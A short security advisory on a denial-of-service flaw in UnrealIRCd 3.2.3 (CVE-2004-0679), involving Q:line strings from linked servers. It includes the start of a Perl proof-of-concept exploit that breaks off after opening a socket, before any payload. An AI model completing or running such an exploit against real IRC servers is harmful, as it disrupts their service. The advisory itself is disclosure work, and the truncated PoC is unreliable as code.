SecurityAlert : 560 CVE : CVE-2004-0679 SecurityRisk : Medium (About) Remote Exploit : Yes Local Exploit : Yes Exploit Available : Yes Credit : admin redneck servebeer com Published : 10.03.2006
Affected Software :
UnrealIRCd 3.2.3
Advisory Content :
-Description-
UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for
adding/removing Q:lines with special characters. Could be sent through
services.
Fixed as of version 3.2.4
-PoC-
#!/usr/bin/perl
# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin (at) redneck.servebeer (dot) com [email concealed] (Brandon Milner)
use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneckn");
#################
# Variables #
#################
$spass = ("LinkPass"); # Link Password
$lserver = ("your.server.name"); # Local Server name
$rserver = ("remote.server.name"); # Link Server
$rport = (6667); # Link Port
$snum = (6); # Server numeric
#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
PeerAddr => $rserver,
PeerPort => $rport,
Proto => 'tcp',
);
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.